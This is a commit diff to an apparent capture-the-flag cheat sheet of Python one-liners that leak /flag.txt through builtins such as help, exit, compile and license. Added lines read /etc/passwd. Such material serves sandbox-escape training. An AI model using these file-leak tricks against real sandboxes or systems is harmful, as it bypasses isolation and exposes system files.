fix(python): good to know misstakes

Author: MisTraleuh

demos/python-cheat-sheet/good-to-know/content.md

@@ -9,23 +9,19 @@ help() # less pager -> :e/flag.txt
 assert len(set( [ *open("/flag.txt"), open("/flag.txt").read(), set(open("/flag.txt")).pop() ] )) == 1
 
 # to stderr
-int(*open("/flag.txt"))
-float(*open("/flag.txt"))
-complex(*open("/flag.txt"))
 exit(set(open("/flag.txt")))
-exit(*open("/flag.txt"))
-open(*open("/flag.txt"))
+exit([*open("/flag.txt")])
 compile(".","/flag.txt","exec")
 raise Exception(*open("/flag.txt"))
 
 # to stdout
-help(*open("/flag.txt"))
+help([*open("/etc/passwd")][0]) # 1, 2, 3
 print(*open("/flag.txt"))
 type("", (), {"__init__": lambda s: print(open("flag.txt").read())})()
 memoryview(open("flag.txt", "rb").read()).tobytes()
 
 # to stdin
-input(*open("/flag.txt"))
+input([*open("/etc/passwd")])
 
 # https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#read-file-with-builtins-help-and-license
 license._Printer__filenames = ['/flag.txt']; license()